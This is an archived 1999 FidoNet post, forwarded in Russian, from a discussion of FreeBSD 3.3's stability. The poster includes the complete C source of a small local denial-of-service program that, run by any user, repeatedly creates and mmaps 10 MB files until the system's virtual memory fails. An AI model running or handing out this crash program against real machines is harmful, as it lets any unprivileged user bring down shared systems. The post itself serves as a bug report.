(fwd) самый стабильный

Andrey Gerzhov (kittle@freeland.kiev.ua)
Mon, 1 Nov 1999 05:25:41 +0200 (EET)

-- forwarded message --
Path: freeland.kiev.ua!routki.ki.yurteh.net!carrier.kiev.ua!srcc!newsfeed.gamma.ru!Gamma.RU!ddt.demos.su!f400.n5020!f238.n5020!f1851.n5020!f2200.n5020!f27.n5025!f2.n5025!f3.n5025!not-for-mail
Newsgroups: fido7.ru.unix.bsd
Distribution: fido7
X-Comment-To: Boris Aksenov
Approved: gateway@fido7.ru
From: Oleg Derevenetz <Oleg.Derevenetz@p4.f3.n5025.z2.fidonet.org>
Date: Thu, 28 Oct 99 17:52:42 +0400
Subject: самый стабильный
Message-ID: <941123203@p4.f3.n5025.z2.ftn>
References: <2180163531@ns.kbst.ru>
Organization: Взялся за гуж - полезай в кузов...
X-FTN-AREA: RU.UNIX.BSD
X-FTN-MSGID: 2:5025/3.4 38186683
X-FTN-REPLY: ns.kbst.ru 81f2a7cb
X-FTN-TID: QEcho beta v1.3
X-FTN-PID: QDed beta v1.3
X-FTN-Tearline: QDed beta v1.3 under FreeBSD 3.3-RELEASE
X-FTN-Origin: Взялся за гуж - полезай в кузов... (2:5025/3.4)
X-FTN-SEEN-BY: 50/420 993 463/68 159 464/34 469/38 478/25 4614/1 4615/21 4624/1
X-FTN-SEEN-BY: 4635/4 5001/15 17 5002/5002 5003/15 5011/13 201 5013/8 5020/69 115
X-FTN-SEEN-BY: 5020/204 236 238 392 400 423 438 473 484 509 549 672 715 758 794
X-FTN-SEEN-BY: 5020/851 996 1046 1186 1280 1301 1306 1344 1351 1381 1476 1535 1555
X-FTN-SEEN-BY: 5020/1590 1851 2200 2253 3500 5022/5 5023/1 11 5025/2 3 10 17 23 27
X-FTN-SEEN-BY: 5025/37 39 77 900 2000 5028/51 5029/34 5030/23 115 251 818 5032/6
X-FTN-SEEN-BY: 5035/10 5049/256 5055/86 5061/15 5070/50 5075/10 5077/3 28 5080/80
X-FTN-SEEN-BY: 5083/21 5084/10 5094/5094
X-FTN-PATH: 5025/3 2 27 5020/2200 1851 238
X-FTN-PATH: 5020/400
Lines: 62
Xref: freeland.kiev.ua fido7.ru.unix.bsd:15029

Hello Boris!

At 27 Oct 99 22:20:20, Boris Aksenov wrote to All:

BA> Oleg Derevenetz <Oleg_Derevenetz@p4.f3.n5025.z2.fidonet.org> wrote:
OD>>>> Ставь 2.2.8 - не ошибешься ;-)

MK>>> 3.3 по стабильности вполне нормален.

OD>> ;-) Да ну ? Хочешь мелкую программулину (C) by Alexey Fedorov после
OD>> которой 3.3 жить не будет ? Я переписывался с неким FreeBSD-тимовцем,
OD>> занимающимся VM, он признал, что это баг, но он до сих пор не исправлен.
OD>> И вообще VM в 3.x сделана ненадежно (это уже мое ИМХО), пока не
OD>> исправят, я ее на серьезную машину не поставлю, а вот поиграться -
OD>> пожалуйста.
BA> чего это програмка делает то ? и от лица кого может положить систему

См. письмо самого Федорова на эту тему - почти одновременно с этим письмом
написано. Программа эта может положить систему будучи запущена под любым
пользователем, а делает примерно следующее: mmap'ит большой файлик (10 MB),
предварительно созданный open. А вот и сама программка:

>===== Start cut [/home/oleg/Temp/mmap.c] =====<
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

main()
{
int fd;
int i;
int len=1024*1024*10; /*ie 10Mbytes*/
caddr_t addr;
char ttt[80];

for (i=0;;i++)
{
sprintf (ttt,"%d",i);
fd=open(ttt,O_CREAT|O_RDWR,0666);
if (fd<0)
{
printf("open error %ld\n",errno);
exit(1);
}
lseek(fd,len-1,SEEK_SET);
write(fd,"",1);
addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
if (addr==MAP_FAILED)
{
printf("mmap error %ld",errno);
exit(1);
}
close(fd);
memset(addr,'x',len);
}
}
>===== End cut [/home/oleg/Temp/mmap.c] =====<

> [KILL THE YANKEE TEAM] [Team 5 колонну давить]

-- end of forwarded message --

-- 
С тем, что не помешает никогда,
                                               Kittle